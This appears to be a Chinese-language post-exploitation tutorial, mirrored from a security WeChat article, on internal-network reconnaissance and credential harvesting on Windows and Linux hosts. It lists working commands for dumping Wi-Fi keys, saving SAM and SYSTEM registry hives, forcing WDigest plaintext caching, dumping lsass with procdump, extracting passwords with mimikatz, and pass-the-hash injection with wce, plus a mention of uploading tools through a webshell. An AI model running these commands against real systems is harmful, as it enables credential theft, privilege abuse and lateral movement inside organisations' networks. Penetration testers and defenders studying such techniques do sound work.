Skip to content

Latest commit

 

History

History
248 lines (143 loc) · 11.5 KB

内网渗透-信息收集(命令、工具及脚本).md

File metadata and controls

248 lines (143 loc) · 11.5 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

0x01 内网信息收集
1.内网基础信息:

`内网网段信息:网段信息有助于我们对渗透的内网进行拓扑、分区。以拿下边界服务器为例,得到一定的控制权之后,一定要查看网卡信息,这样就收集到内部网络地址段的信息,进一步渗透,找到更多的内部网络地址。``内网大小:有助于我们了解整个公司的网络分布与组成,帮助我们寻找内网核心业务。`

2.内网核心业务信息:

内网OA办公系统(大公司)、邮件服务器(大公司才有)、网络监控系统(一般都有)、财务应用系统、核心产品源码(对于IT公司,会架设自己的svn或者git服务器)

3.其他信息

`系统管理员密码。``其他用户session,3389和ipc$连接记录,各用户回收站信息。``浏览器密码和浏览器cookie获取。``windows无线密码获取(利用netsh),数据库密码获取。``host文件获取和dns缓存信息收集等,可以查看DNS服务器的IP,如果是域,一般情况DNS服务器和域控是同一台!先定位出DNS服务器,再进行后面渗透。``杀软、补丁、进程、网络代理信息wpad信息(Web Proxy Auto-Discovery Protocol,是客户端通过DHCP或DNS协议探测代理服务器配置脚本url的一种方式),软件列表信息。``计划任务、帐号密码策略与锁定策略、共享文件夹、web服务器配置文件。``VPN历史密码等、TeamView密码等、启动项、iislog等。``常用的后渗透信息收集工具、PowerShell+各种内网渗透工具的使用。`

0x02 内网实战(命令、工具及脚本)
1.用户列表、当前权限等

`win:whoami、net user、net user 用户名、 net accounts``linux:whoami、id、who、cat /etc/passwd、cat /etc/group`

2.内网网络拓扑等信息
以下两条命令可以查看无线网密码

`netsh wlan show profiles``netsh wlan show profile name=“网络链接配置文件” key=clear`

图片

图片

除此,常用的有ipconfig、nslookup等等
3.进程列表

`win:tasklist` `linux: ps、 top`

4.端口信息

`win: netstat -ano` `linux: netstat -ntulp 、ps -aux`

5.补丁信息

`win系统:systeminfo``wmic qfe list full``wmic qfe list full /format:htable>c:\hotfixes.html`

第三条命令导出html到指定位置,浏览器打开效果如下

图片

linux:看一下是否有samba服务,或者使用rpm -qa来查询安装了哪些软件包,有一些可以通过名字来判断出是补丁包。
6.本地用户习惯

`c:\windows\SchedLgU.txt,如果未启动remote Storage Engine服务(win7和server03上都没找到此服务)和Task Scheduler服务,则不会记录。``c:\windows\Prefetch文件夹,里面记录着用户运行的程序列表。(已验证)``c:\Users\用户名\Recent文件夹,记录最近打开过的文件和文件夹(xp及server03是在c:\Documents and Settings\用户名\Recent)``查看收藏夹、文档目录等。`

7.凭证收集
常用工具mimikatz、wce、Invoke-WCMDump、vaultcmd(win系统自带)
CredentialManager,中文翻译为凭据管理器,用来存储凭据(如网站登陆和主机远程连接的用户名密码),如果用户选择存储凭据,那么当用户再进行对应的操作,系统会自动填入凭据,实现自动登陆,凭据保存在特定的位置,被称作保管库(vault,位于%localappdata%/Microsoft\Vault)
Invoke-WCMDum PowerShell脚本,从凭据管理器导出Windows凭据

`下载地址https://github.com/peewpw/Invoke-WCMDump``PS>Import-Module .\Invoke-WCMDump.ps1``PS>Invoke-WCMDump`

图片

`vaultcmd命令(win系统自带),导出的不是明文密码,本人不会利用``列出保管库(vault)列表:vaultcmd /list``列出保管库(vault)概要,凭据名称和GUID:vaultcmd /listschem`

图片

其他命令:cmdkey /list

8.系统哈希或明文密码获取

`最方便的方法是利用cmd执行reg save命令从注册表导出。``XP等系统的密码位数超过14时,会采用NTLM加密,小于14位是LM。win7等更高版本,应该是NTLM。``test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::``注意被冒号隔断的两组长字符串,前面是LM hash,后面是NTLM hash,hash一般存在两个地方:sam文件(system文件也需要),NTDS.DIT文件,存在域控上对应域用户。`

(1)mimikatz获取明文(一般会报毒)
要以管理员身份运行,一般用在桌面环境。如果是终端条件,使用能以系统管理员身份运行的程序去调用mimikatz,执行以下两条命令就OK.

`privilege::debug``sekurlsa::logonpasswords`

(2)注册表导出,本地分析(较安全准确)

`win2000和XP需要先提权到system权限,server03开始,可以直接reg save,文件可能较大,效率低,但比较准确可靠。``reg save hklm\sam sam.hive(也可省略.hive,但二者有何区别暂不清楚)``reg save hklm\system system.hive``reg save hklm\security security.hive(这个文件什么用途暂不清楚)`

(3)Get-PassHashes脚本

`cd c:\phpstudy\www (在终端先切换到ps1脚本目录)``powershell -ExecutionPolicy Bypass(设置会话默认执行策略,并进入PS)``import-module .\Get-PassHashes.ps1 (导入模块)``Get-PassHashes(大小写不敏感)`

图片

(4)wce读取明文,哈希注入

`抓取明文(wce.exe -w,wce支持win系统绝大多数版本)``很快就能显示,但密码位数过长时,偶尔可能不准确,如下面第一张图,显示的密码中间少了两位,第二张图长度更长了,但显示的密码却是正确的``win8和server2012如果抓不出,在目标机修改注册表(CMD运行下命令)``reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1`

图片

获取明文并保存

`wce -o output.txt``type output.tx`

wce的hash注入
hash注入的原理是将我们预备好的目标机器的本地或者是域用户hash注入到本地的认证进程lsass.exe中去,使得本地在使用ipc登录目标机器的时候就如同自己登录自己的机器一样获得权限。至于目标机器的本地或者是域用户hash如何取得那就要发挥你自己的想象力了。hash注入本身是为了对付那些破解不了的NTHASH

`wce.exe -s <username>:<domain>:<lmhash>:<nthash>``wce.exe -s <username>:<domain>:<lmhash>:<nthash> -c cmd.exe`

配合上面提到的Get-PassHashes脚本,本地进行hash注入后,成功列出了目标机的文件。两个主机互测,一次成功了,但测试前没有尝试第二张图,不知是否是hash注入影响。攻守互换后,不成功。

图片

当提示注入成功的时候,这时候键入net use命令并没有看到有连接,其实已经可以连接了,直接使用ipc命令操作对方的机器就可以了。
域里的域用户hash也可以使用wce进行注入,只需要把命令格式变一变就行

wce.exe -s 用户名:域名:LM-HASH:NT-HASH

(5)procdump(微软出品)+本地用mimikatz得明文,较安全

`详细参考:http://www.91ri.org/6881.html``原帖英文 :http://blog.gentilkiwi.com/securite/mimikatz/minidump`

mimikatz1.0版本直接用不行(需要先注入sekurlsa.dll),2.1.1 x64版本试验OK,另外路径中最好不要出现中文,且需要以管理员权限运行。
我们运行mimikatz的平台要与进行dump的系统(source dump)兼容,假如你攻击的server2008,你需要用nt6平台使用mimikatz,兼容性如下:

图片

1)获取dump
NT6可以使用任务管理器进行dump:
个人觉得用到情况较少,一般有桌面环境,可以考虑直接运行mimikatz

图片

也可使用procdump(win7亲测可用):

`官网下载:http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx``procdump.exe -accepteula -ma lsass.exe lsass.dmp`

原帖中是通过ipc$入侵得到的dump文件,我是通过木马,使用菜刀连接上传procdump,靶机这边我用的是管理员权限,之所以这样做,是考虑到实战中,如果是低权限用户,也不会费劲的去破解对方密码吧。
2)本地破解密码
攻击者是win7,使用mimikatz的环境也要用NT6,把dmp文件放在mimikatz程序目录下。
进入目录后,直接输入mimikatz并回车,注意权限,再运行下面两个命令。成功得到系统密码,我这里还用了syskey加密,仍然得到了明文。

`sekurlsa::minidump lsass.dmp``sekurlsa::logonPasswords full`

图片

9.星号查看
通过hook函数或者改变变量属性值来查看明文。
通过改js代码,或使用浏览器插件可显示网页中星号的明文,但实战个人猜测用处不大。
三、内网权限拓展(常见应用漏洞):
strust2、Zabbix、Axis2、ImageMagick、FastCGI、redis、Hadoop
struts攻击参考:

`https://www.anquanke.com/post/id/85674``https://www.cnblogs.com/peterpan0707007/p/7495649.html``https://www.anquanke.com/post/id/85744`

————————————————

0x03 原文链接

https://blog.csdn.net/nilwiaoglwigjwlg/article/details/82834068

图片

一如既往的学习,一如既往的整理,一如即往的分享。感谢支持图片

“如侵权请私聊公众号删文”

扫描关注LemonSec

图片

觉得不错点个“赞”、“在看”哦****图片